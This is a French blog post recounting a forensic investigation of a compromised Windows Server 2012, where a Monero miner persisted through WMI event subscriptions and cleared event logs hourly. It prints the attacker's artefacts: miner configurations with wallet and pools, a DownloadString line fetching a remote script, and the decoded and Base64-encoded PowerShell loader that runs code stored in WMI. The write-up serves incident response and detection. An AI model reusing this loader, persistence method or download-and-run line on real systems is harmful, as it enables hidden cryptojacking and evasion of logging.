Un peu de forensic sous Windows

Sommaire

Bonjour à tous ! Aujourd'hui un article qui va parler de forensic sous Windows. C'est un retour d'expérience d'une machine Windows Server 2012 qui a été compromise. Nous verrons les éléments qui ont permis de détecter la compromission ainsi que les différents éléments relevés.

Symptômes & première analyse

Cet article fait suite à la compromission d'une machine qui a eu lieu plus tôt dans l'année. C'est une machine Windows Server 2012 qui s'est mise à avoir un comportement suspect :

  • Pic de mémoire / CPU
  • Arrêt des applications
  • Problèmes applicatifs

Cette machine était exposée sur Internet et utilisait des composants Oracle Weblogic. Les logs (observateurs d'évènements) de Windows se vidaient plus ou moins toutes les heures également.

Cela est visible via un message dans ce même observateur :

Le journal "Windows Powershell" est également vidé en même temps.

Voici les heures qui ont pu être notées :

  • 13:23:35
  • 15:24:35
  • 16:25:35

Suite à ces découvertes, une procédure de gestion des preuves & réponse à incident a été réalisée :

  • La machine a été gelée (au sens VMWare) et clonée
  • Un dump de mémoire a été réalisé
  • Les disques ont été exportés
  • Le clone de la machine a été placé dans un réseau sandbox pour analyse
  • Un scan anti-virus/EDR a été lancé sur la machine
  • Un scan de vulnérabilité a été lancé sur la machine
  • Etc.

Le but était de voir ce qui se passait sur la machine et pourquoi les logs étaient supprimées régulièrement.

Analyse

Malware n°1

Une première analyse anti-virus a été faite sur la machine, elle a permis de remonter des fichiers malicieux :

Voici des exemples :

  • MSASC.exe
    • \Device\HarddiskVolume2\Users\Administrateur\AppData\Local\Temp\MSASC.exe
    • \Device\HarddiskVolume2\Windows\Temp\MSASC.exe
    • \Device\HarddiskVolume2\ProgramData\MSASC.exe
  • javae.exe
    • \Device\HarddiskVolume2\Users\Administrateur\AppData\Local\Temp\javae.exe
  • javax.exe
    • \Device\HarddiskVolume2\ProgramData\javax.exe

Dans Sentinel One nous voyons déjà ces fichiers marqués comme Malware/CoinMiner. Après analyse via VirusTotal on voit bien que ces mineurs servent à miner du Monero (XMR).

Voici un des retours de VirusToral par exemple :

Tous les autres fichiers renvois les mêmes informations.

En analysant les fichiers manuellement (en les sortant de quarantaine), plus de doute :

En cherchant dans les différents fichiers on tombe sur un autre fichier (qui n'a pas été mis en quarantaire par l'EDR) : stt.exe. En l'ajoutant sur Virus Total on voit bien que c'est un fichier différent, il servirait à télécharger d'autres fichiers :

Selon VirusTotal encore il pourrait porter plusieurs noms :

  • st.exe
  • javae.exe (voir plus haut)
  • out

On voit également qu'il est lié au fichier msasc.exe.

Toutes les informations sont disponibles ici :

Afin d'avoir plus d'infos, il est également possible d'exécuter ce fichier dans une sandbox. J'ai utilisé la sandbox Cuckoo :

Les résultats montrent que :

  • Le process javax.exe n'a pas été trouvé
  • L'URL commençant par hxxps://www.naosbia.com n'a pas pu être contactée

On peut également voir que :

  • Des commandes ont été exécutées
  • Le domaine est utilisé pour récupérer un script powershell DownloadString('https://www.naosbio.com/images/main/js/a/muma.ps1')

Après recherche, très peu de résultat sur ces fichiers et ces résultats.

Voir lien :

  • hxxps://www.52pojie.cn/thread-1220685-1-1.html
  • hxxps://www.buaq.net/go-45032.html

Le lien pour récupérer le script powershell ne fonctionne plus et rien en regardant sur Webarchive.

On voit également que d'autres fichiers peuvent être liés comme :

  • config.json
  • clean.dat

Ainsi que plusieurs liens pastebin (qui ne fonctionne plus également).

Plusieurs fichiers config.json sont retrouvés sur la machine, ils correspondent à la configuration du mineur de Monero.

Fichier 1 C:\ProgramData\config.json :

 1{
 2    "algo": "cryptonight",
 3    "api": {
 4        "port": 0,
 5        "access-token": null,
 6        "id": null,
 7        "worker-id": null,
 8        "ipv6": false,
 9        "restricted": true
10    },
11    "asm": true,
12    "autosave": true,
13    "av": 0,
14    "background": false,
15    "colors": true,
16    "cpu-affinity": null,
17    "cpu-priority": null,
18    "donate-level": 1,
19    "huge-pages": true,
20    "hw-aes": null,
21    "log-file": null,
22    "max-cpu-usage": 95,
23    "pools": [
24        {
25            "url": "pool.supportxmr.com:3333",
26            "user": "48DdDKqJikPNZqUxdZNUnoeNReQofUtVCUG1PBoxsKWfKDBbPgcXDjBdPsxs4xpZmhL7k1UehNuqoY8Fdbi1oZYs1yp3UWQ",
27            "pass": "x",
28            "keepalive": false,
29            "nicehash": false,
30            "variant": -1
31        },
32        {
33            "url": "139.99.125.38:3333",
34            "user": "48DdDKqJikPNZqUxdZNUnoeNReQofUtVCUG1PBoxsKWfKDBbPgcXDjBdPsxs4xpZmhL7k1UehNuqoY8Fdbi1oZYs1yp3UWQ",
35            "pass": "x",
36            "keepalive": false,
37            "nicehash": false,
38            "variant": -1
39        }
40    ],
41    "print-time": 60,
42    "retries": 5,
43    "retry-pause": 5,
44    "safe": false,
45    "threads": null,
46    "user-agent": null,
47    "watch": false
48}

Fichier 2 C:\Users\Administrateur\AppData\Local\Temp\config.json :

  1{
  2    "api": {
  3        "id": null,
  4        "worker-id": null
  5    },
  6    "http": {
  7        "enabled": false,
  8        "host": "127.0.0.1",
  9        "port": 0,
 10        "access-token": null,
 11        "restricted": true
 12    },
 13    "autosave": true,
 14    "background": false,
 15    "colors": true,
 16    "randomx": {
 17        "init": -1,
 18        "mode": "auto",
 19        "numa": true
 20    },
 21    "cpu": {
 22        "enabled": true,
 23        "huge-pages": true,
 24        "hw-aes": null,
 25        "priority": null,
 26        "memory-pool": false,
 27        "asm": true,
 28        "argon2-impl": null,
 29        "argon2": [0, 1, 2, 3],
 30        "cn": [
 31            [1, 0],
 32            [1, 1],
 33            [1, 2],
 34            [1, 3]
 35        ],
 36        "cn-heavy": [
 37            [1, 0],
 38            [1, 1],
 39            [1, 2],
 40            [1, 3]
 41        ],
 42        "cn-lite": [
 43            [1, 0],
 44            [1, 1],
 45            [1, 2],
 46            [1, 3]
 47        ],
 48        "cn-pico": [
 49            [2, 0],
 50            [2, 1],
 51            [2, 2],
 52            [2, 3]
 53        ],
 54        "cn/gpu": [0, 1, 2, 3],
 55        "rx": [0, 1, 2, 3],
 56        "rx/wow": [0, 1, 2, 3],
 57        "cn/0": false,
 58        "cn-lite/0": false,
 59        "rx/arq": "rx/wow"
 60    },
 61    "opencl": {
 62        "enabled": false,
 63        "cache": true,
 64        "loader": null,
 65        "platform": "AMD"
 66    },
 67    "cuda": {
 68        "enabled": false,
 69        "loader": null,
 70        "nvml": true
 71    },
 72    "donate-level": 1,
 73    "donate-over-proxy": 1,
 74    "log-file": null,
 75    "pools": [
 76        {
 77            "algo": null,
 78            "coin": null,
 79            "url": "pool.supportxmr.com:3333",
 80            "user": "48DdDKqJikPNZqUxdZNUnoeNReQofUtVCUG1PBoxsKWfKDBbPgcXDjBdPsxs4xpZmhL7k1UehNuqoY8Fdbi1oZYs1yp3UWQ",
 81            "pass": "x",
 82            "rig-id": null,
 83            "nicehash": false,
 84            "keepalive": false,
 85            "enabled": true,
 86            "tls": false,
 87            "tls-fingerprint": null,
 88            "daemon": false,
 89            "self-select": null
 90        },
 91        {
 92            "algo": null,
 93            "coin": null,
 94            "url": "139.99.125.38:3333",
 95            "user": "48DdDKqJikPNZqUxdZNUnoeNReQofUtVCUG1PBoxsKWfKDBbPgcXDjBdPsxs4xpZmhL7k1UehNuqoY8Fdbi1oZYs1yp3UWQ",
 96            "pass": "x",
 97            "rig-id": null,
 98            "nicehash": false,
 99            "keepalive": false,
100            "enabled": true,
101            "tls": false,
102            "tls-fingerprint": null,
103            "daemon": false,
104            "self-select": null
105        }
106    ],
107    "print-time": 60,
108    "health-print-time": 60,
109    "retries": 5,
110    "retry-pause": 5,
111    "syslog": false,
112    "user-agent": null,
113    "watch": false
114}

C'est donc bien un mineur de Monero qui tournait sur la machine. Mais le problème des logs persiste.

En regardant dans les tâches planifiées ont voit bien qu'une tâche est présente avec des commandes en Base64 :

Après avoir utilisé CyberChef on voit bien que le but est de télécharger un fichier sur pastebin (qui n'est plus disponible)

On est donc bloqué. On ne sait pas ce qui à été exécuté.

Il suffit donc de désactiver la tâche, de supprimer tous les fichiers de laisser l'EDR fonctionner et on devrait être bon. Mais... les fichiers de logs sont toujours supprimés.

Suite & Malware N°2

Après avoir cherché (longtemps) dans les logs j'ai terminé par trouver des logs dans C:\Windows\System32\winevt\Logs avec notamment le fichier Windows PowerShell.evtx qui était aussi vidé automatiquement chaque heure.

Après avoir ouvert le fichier on peut voir qu'une commande est utilisée lorsque tous les fichiers sont vidés :

Une fois le texte décodé (toujours avec CyberChef) on peut voir le script suivant :

 1$WmiName='root\cimv2:PowerShell_Command'
 2$Base64 = ([WmiClass]$WmiName).Properties['Command'].Value
 3$Bytes = [System.Convert]::FromBase64String($Base64)
 4$Script = [System.Text.UnicodeEncoding]::Unicode.GetString($Bytes)
 5IEX $Script
 6$Base64 = ([WmiClass]$WmiName).Properties['CCBot'].Value
 7$Bytes = [System.Convert]::FromBase64String($Base64)
 8$Script = [System.Text.UnicodeEncoding]::Unicode.GetString($Bytes)
 9$Script
10IEX $Script

Et là on trouve rapidement beaucoup plus d'informations :

Avec notamment :

This malware was observed mining Monero cryptocurrency, however, the arrival details of this variant has not been identified as of writing. An earlier documented sighting of GhostMiner was noted to have used multiple vulnerabilities in MSSQL, phpMyAdmin, and Oracle’s WebLogic to look for and attack susceptible servers.

Pour revenir sur le WebLogic Oracle présent.

On peut voir que les objets WMI sont utilisés et notamment un objet nommé PowerShell_Command.

On peut le retrouver facilement avec cette commande Powershell : Get-WMIObject -List | Where{$_.name -match "powershell"}

Après pas de recherche, en utilisant WMI Explorer on peut facilement retrouver les informations dans les objets VMI (parce que c'est super pénible de naviguer dans WMI en CLI).

Une fois lancé on peut voir que la classe PowerShell_Command est bien présente et qu'elle abrite un grand nombre de ligne de code Powershell encodé en B64. On peut le voir en utilisant clique droit + Show MOF :

Le ficher au format B64 est disponible ici.

Dans ce fichier on peut voir que plusieurs variables sont encodés en B64 dans la classe PowerShell_Command.

  • YZZLFGYJMZ
  • Command
  • CCbot : Write-Host 'CCBot'

Les variables YZZLFGYJMZ et Command contiennent un grand nombre de ligne de code VBA. Des fichiers dédiés ont été utilisés :

  • Command.txt
  • Pour YZZLFGYJMZ je n'ai pas réussi à le décoder proprement

YZZLFGYJMZ ne se décode pas bien en B64 alors qu'on voit bien que cela est fait dans le code :

1$WmiName_Miner = "YZZLFGYJMZ"
2$WmiName = "root\cimv2:PowerShell_Command"
3$Miner = ([WmiClass]$WmiName).Properties[$WmiName_Miner].Value
4$MinerBytes = [System.Convert]::FromBase64String($Miner)

On voit bien dans la partie commande que plusieurs fonctions sont utilisées comme :

  • Function WMI_StartMiner
  • Function WMI_Killer
  • Function WMI_ClearWmiObject

On voit également d'autres classes utilisées dans le code :

1Function WMI_ClearWmiObject
2{
3$MatchName = 'PowerShell Event'
4Get-WmiObject -Namespace root\Subscription -Class __EventFilter | Where-Object {$_.Name -NotMatch $MatchName} | Remove-WmiObject
5Get-WmiObject -Namespace root\Subscription -Class CommandLineEventConsumer | Where-Object {$_.Name -NotMatch $MatchName} | Remove-WmiObject
6Get-WmiObject -Namespace root\Subscription -Class __FilterToConsumerBinding | Where-Object {$_.Filter -NotMatch $MatchName} | Remove-WmiObject
7if ((Get-ItemProperty HKLM:\SYSTEM).AppInfo -Ne $Null)

Ainsi que les répertoires et les fichiers d'installation :

1$InstallDir = "C:\Windows\Temp"
2$InstallPath = "C:\Windows\Temp\lsass.exe"

Pour voir les autres objets il faut cocher la case Include System Classes.

Une fois fait on peut voir le contenu des classes suivantes :

  • __EventFilter
  • CommandLineEventConsumer
  • __FilterToConsumerBinding

Dans __EventFilter on peut voir qu'une query WQL est exécutée :

1SELECT * FROM __InstanceModificationEvent WITHIN 3600 WHERE TargetInstance ISA 'Win32_PerfFormattedData_PerfOS_System'

Dans CommandLineEventConsumer on retrouve le script trouvé plus haut dans les logs Powershell encodé en B64 :

1C:\Windows\System32\WindowsPowerShell\v1.0\PowerShell.eXe -NoP -NonI -EP ByPass -W Hidden -E JABXAG0AaQBOAGEAbQBlAD0AJwByAG8AbwB0AFwAYwBpAG0AdgAyADoAUABvAHcAZQByAFMAaABlAGwAbABfAEMAbwBtAG0AYQBuAGQAJwANAAoAJABCAGEAcwBlADYANAAgAD0AIAAoAFsAVwBtAGkAQwBsAGEAcwBzAF0AJABXAG0AaQBOAGEAbQBlACkALgBQAHIAbwBwAGUAcgB0AGkAZQBzAFsAJwBDAG8AbQBtAGEAbgBkACcAXQAuAFYAYQBsAHUAZQANAAoAJABCAHkAdABlAHMAIAA9ACAAWwBTAHkAcwB0AGUAbQAuAEMAbwBuAHYAZQByAHQAXQA6ADoARgByAG8AbQBCAGEAcwBlADYANABTAHQAcgBpAG4AZwAoACQAQgBhAHMAZQA2ADQAKQANAAoAJABTAGMAcgBpAHAAdAAgAD0AIABbAFMAeQBzAHQAZQBtAC4AVABlAHgAdAAuAFUAbgBpAGMAbwBkAGUARQBuAGMAbwBkAGkAbgBnAF0AOgA6AFUAbgBpAGMAbwBkAGUALgBHAGUAdABTAHQAcgBpAG4AZwAoACQAQgB5AHQAZQBzACkADQAKAEkARQBYACAAJABTAGMAcgBpAHAAdAANAAoAJABCAGEAcwBlADYANAAgAD0AIAAoAFsAVwBtAGkAQwBsAGEAcwBzAF0AJABXAG0AaQBOAGEAbQBlACkALgBQAHIAbwBwAGUAcgB0AGkAZQBzAFsAJwBDAEMAQgBvAHQAJwBdAC4AVgBhAGwAdQBlAA0ACgAkAEIAeQB0AGUAcwAgAD0AIABbAFMAeQBzAHQAZQBtAC4AQwBvAG4AdgBlAHIAdABdADoAOgBGAHIAbwBtAEIAYQBzAGUANgA0AFMAdAByAGkAbgBnACgAJABCAGEAcwBlADYANAApAA0ACgAkAFMAYwByAGkAcAB0ACAAPQAgAFsAUwB5AHMAdABlAG0ALgBUAGUAeAB0AC4AVQBuAGkAYwBvAGQAZQBFAG4AYwBvAGQAaQBuAGcAXQA6ADoAVQBuAGkAYwBvAGQAZQAuAEcAZQB0AFMAdAByAGkAbgBnACgAJABCAHkAdABlAHMAKQANAAoAJABTAGMAcgBpAHAAdAANAAoASQBFAFgAIAAkAFMAYwByAGkAcAB0AA==
 1$WmiName='root\cimv2:PowerShell_Command'
 2$Base64 = ([WmiClass]$WmiName).Properties['Command'].Value
 3$Bytes = [System.Convert]::FromBase64String($Base64)
 4$Script = [System.Text.UnicodeEncoding]::Unicode.GetString($Bytes)
 5IEX $Script
 6$Base64 = ([WmiClass]$WmiName).Properties['CCBot'].Value
 7$Bytes = [System.Convert]::FromBase64String($Base64)
 8$Script = [System.Text.UnicodeEncoding]::Unicode.GetString($Bytes)
 9$Script
10IEX $Script

Et dans le dernier :

1__EventFilter.Name="PowerShell Event Log Filter"

On peut donc voir que selon les évènements les logs sont supprimés toutes les 3600 secondes (via le fameux fichier commande).

Je n'ai cependant pas réussi à décoder facilement la partie YZZLFGYJMZ avec CyberChef, vous pouvez essayer si ça vous intéresse.

Après avoir supprimé tous les éléments, plus de problème observé sur la machine et les logs ne se vidaient plus.

Conclusion

Et voilà, c'est terminé pour l'analyse de cette machine, et même si l'article n'est pas très long, cela m'a pris beaucoup de temps pour trouver tout ça. J'ai peut être fait des raccourcis ou des approximations mais je (très) loin d'être un expert en forensic, et encore plus sur les environnements Windows. C'était pour moi une bonne expérience et je pense que c'est toujours bien de la partager.

Dans la finalité : la machine a été supprimée et recréée au vu de l'étendu de la compromission. Le scan de vulnérabilité a remonté des vulnérabilités sur Oracle Web Logic, ce qui coïncide avec les recherches effectuées sur le malware. Au niveau des recherches au niveau du réseau (compromission des machines voisines) cela n'a rien donné, je pense que le but était seulement d'utiliser la machine pour miner. La compromission n'a pas été remarquée de suite car la machine n'a pas été industrialisée avec les outils de sécurité. Pour ne plus que ça arrive et pour faciliter le forensic (liste non exhaustive) :

  • Installation d'un anti-virus/EDR centralisé
  • Export des logs
  • Durcissement du système
  • Ajout dans le cycle de mise à jour
  • Etc.

J’espère que cet article vous aura plu, si vous avez des questions ou des remarques sur ce que j’ai pu écrire n’hésitez pas à réagir avec moi par mail ou en commentaire ! N’hésitez pas à me dire également si ce genre d’article vous plaît !

Merci pour votre lecture et à bientôt !

Mickael Rigonnaux @tzkuat